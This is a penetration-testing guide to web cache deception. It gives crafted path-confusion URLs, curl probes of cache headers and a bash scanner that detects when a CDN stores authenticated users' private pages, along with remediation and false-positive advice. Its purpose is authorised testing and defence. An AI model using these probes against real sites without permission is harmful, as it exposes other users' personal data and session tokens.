Web Cache Deception
Web cache deception tricks a caching server (CDN, reverse proxy) into storing an authenticated user's private response by appending a static file extension to a dynamic URL. Unlike cache poisoning (which modifies cached responses), cache deception makes the cache store responses it shouldn't cache at all.
Information
Warning
Frameworks: WSTG n/a (post-4.2) · ASVS 5.0 V14.2.5 · CWE-524 · T1190
Three Conditions, All Required
A cache deception needs three things to be true at once. The cache decides what to store from the URL — usually an extension or a static-path rule. The origin decides what to serve from the path prefix and ignores the extra segment. And the authenticated response carries no directive telling the cache to keep it private. Where all three hold, a victim's page is stored under a URL anyone can request.
The direction of the artefact is what separates this from poisoning. Poisoning writes the attacker's content into the cache and serves it to other users; deception writes the victim's content into the cache and lets the attacker read it back. Poisoning needs a cache-key flaw, deception a classification flaw.
How Cache Deception Works
Attack Flow
- 1. Attacker crafts URL:
https://target.com/account/profile/nonexistent.css - 2. Victim (authenticated) clicks the link
- 3. Application ignores the file extension and returns the profile page (with PII, tokens)
- 4. CDN/cache sees the .css extension → caches the response as a static file
- 5. Attacker requests the same URL (unauthenticated) → receives the cached private content
Web Cache Deception Attack Flow
Cache poisoning vs cache deception
Scroll sideways to see the whole diagram
Basic Cache Deception Attack
# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys
# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2
# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable
# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable
# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception works
Run step 4 before involving a victim: request the extensioned URL twice and watch X-Cache
move from MISS to HIT while Age grows. If the second response is a MISS again, the cache is
not storing it — usually because Cache-Control says private, or the rule did not classify
the path as static — and victim traffic will not change that.
Path Confusion Techniques
# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css
# Encoded separators:
https://target.com/account/profile%23.css # Fragment as separator
https://target.com/account/profile%3f.css # Query as separator
# Double encoding:
https://target.com/account/profile%252f.css
# Null byte injection (legacy servers):
https://target.com/account/profile%00.css
# Directory traversal in path:
# curl squashes /static/../account/profile to /account/profile before it leaves
# the box, so send the dot segments literally: curl --path-as-is 'https://target.com/static/../account/profile'
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page
# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.css
The encoded forms test which layer normalises. A cache that treats %2f as part of a
filename and an origin that decodes it to / disagree about the path, and that disagreement
is the primitive. Send each candidate twice: a HIT on a path the origin treats as dynamic is the signal.
Cache-Rule Probing & Non-Extension Delimiters
Modern caches (and the 2024 PortSwigger cache-deception work) frequently classify a response
as cacheable using a rule rather than a raw file extension. Probe the cache's own
rule, and test delimiters that the origin treats as path separators but the cache ignores
(or vice versa) — including newline %0a:
# Non-extension delimiters — origin and cache disagree on where the path ends:
https://target.com/account/profile%3B.css # ; (Java/Tomcat matrix parameter)
https://target.com/account/profile%23.css # # treated as path, not fragment
https://target.com/account/profile%3F.css # ? inside the path
https://target.com/account/profile%0A.css # newline delimiter
https://target.com/account/profile%2F.css # encoded slash
# Cache-rule probing — find what the cache itself will store:
for p in x.css x.js x.woff x.css%0a; do
curl -sI "https://target.com/account/profile/$p" \
| grep -iE 'age|x-cache|cf-cache-status'
done
# A HIT or positive Age on a path the origin treats as dynamic is the tell.
# Confirm with a victim session, then replay unauthenticated:
curl -sI https://target.com/account/profile/test.css | grep -i cf-cache-status
The delimiter matters more than the extension now. ; is a matrix parameter to Tomcat and an
ordinary character to many caches; %0a terminates the path in some parsers and is ignored in
others. Probe until you find a pair that disagrees, then repeat it with a session cookie attached.
Automation Script
The scanner below is deliberately conservative. A 200 with a non-trivial body proves nothing: public pages
return those too, and a shared cache can serve a logged-out copy to everyone. Deception is shown only
when the unauthenticated body is identical to the authenticated one and the response carries a
cache signal — Age, X-Cache, cf-cache-status. Public pages fail the
first test because the victim's copy is not what gets stored; genuinely personalised pages fail it because
the two bodies differ.
#!/bin/bash
# Web Cache Deception scanner — differential verdict
#
# A 200 with a non-trivial body proves nothing by itself: public pages do
# that too. Deception is only shown when the UNAUTHENTICATED response is
# byte-identical to the AUTHENTICATED one AND the cache reports the
# response as cached. Public pages never get stored for the victim, and
# genuinely personalised pages differ — both fail this test.
TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
AUTH_COOKIE="session=VICTIM_SESSION"
EXTENSIONS=(css js png jpg gif ico svg woff woff2 pdf)
echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"
for ext in "${EXTENSIONS[@]}"; do
URL="${TARGET}${PATH_TO_TEST}/test.${ext}"
# 1. Victim's authenticated request — the body that must not be shared
curl -s -o auth.body -w '%{http_code}' -H "Cookie: ${AUTH_COOKIE}" "$URL" > auth.code
# 2. Unauthenticated replay, capturing response headers
curl -s -o anon.body -D anon.hdr -w '%{http_code}' "$URL" > anon.code
# 3. Differential check: identical body PLUS an explicit cache signal
if cmp -s auth.body anon.body && grep -qiE '^(age|x-cache|cf-cache-status):' anon.hdr; then
echo "[+] CANDIDATE .${ext} (HTTP $(cat anon.code)) — unauthenticated body matches the authenticated body"
grep -iE '^(age|x-cache|cf-cache-status):' anon.hdr
echo " ${URL}"
echo " Confirm the shared body carries victim-private data before reporting."
else
echo "[-] .${ext} — no differential hit (auth=$(cat auth.code) anon=$(cat anon.code))"
fi
doneTreat a verdict as a candidate, not a finding. Confirm the shared body contains data that only that account should see, then stop — and do not leave a victim session in the cache longer than the test needs, because anyone who guesses the URL can read it.
Testing Checklist
- ☐ 1. Find URLs returning private/authenticated content
- ☐ 2. Append static extensions (.css, .js, .png) and check if the private content still returns
- ☐ 3. Check for cache headers (X-Cache, Age, CF-Cache-Status)
- ☐ 4. Make an authenticated request, then an unauthenticated request to the same URL
- ☐ 5. If unauthenticated request returns private data → cache deception confirmed
- ☐ 6. Test path confusion variants if basic extension appending fails
- ☐ 7. Test API endpoints that return JSON (cache /api/user/me.css)
- ☐ 8. Probe the cache's own static rule and test non-extension delimiters (
%0a,%3b,%23) - ☐ 9. Confirm the same URL returns a HIT twice to an unauthenticated client before recruiting a victim
- ☐ 10. Put a unique canary in the victim's profile so the shared body is provably theirs
Evidence Collection
Step 1 Screenshot: Authenticated request showing private data at the deceptive URL
Step 2 Screenshot: Unauthenticated request to same URL showing cached private data
Cache Headers: X-Cache: HIT showing the content was served from cache
Differential Pair: The authenticated and unauthenticated bodies, byte-compared, with their status codes and content lengths
Canary: The unique value planted in the victim's profile and the request that read it back unauthenticated
CVSS Range: PII exposure: 6.5–7.5 | Session token in cache: 8.1–9.1
Remediation
- • Return 404 for invalid paths: If /account/profile/test.css is not a real resource, return 404 instead of the profile page.
- • Set Cache-Control headers: Add
Cache-Control: no-store, privateto all authenticated responses. - • Cache key on cookies/auth: Configure CDN to vary cache on authentication state.
- • Strict path matching: Configure the application to only respond to exact registered routes.
- • Directive the response, not the route:
Cache-Control: private, no-storemust be on the authenticated response itself. A rule that keys off the URL pattern will miss the extensioned variant. - • Do not classify by suffix at the edge: Treat a dynamic prefix as dynamic whatever follows it, instead of letting a trailing
.cssoverride the route's own cache policy.
False Positive Identification
- Cache serving static content: If the cached response only contains public/non-sensitive content, there's no deception even if caching occurs — verify the cached response includes PII, tokens, or session data.
- Vary header handling: CDNs using Vary: Cookie effectively prevent deception — check if the cache key includes authentication-relevant headers.
- Short TTL mitigation: Very short cache TTLs (seconds) significantly reduce exploitability — note TTL in your report but don't dismiss without checking race-condition feasibility.
- A public page that happens to be cached: The differential passes trivially for a page that is identical for every visitor. If the body holds nothing that belongs to one account, the cache did its job correctly.
- A HIT on a logged-out shell: Some caches store the logged-out version of a page and serve it to everyone. That is a HIT and looks dramatic, but no private data crossed the boundary — check the body for per-user values before calling it deception.
Cache Deception Practice
Practice path confusion and delimiter discrepancies against caching layers.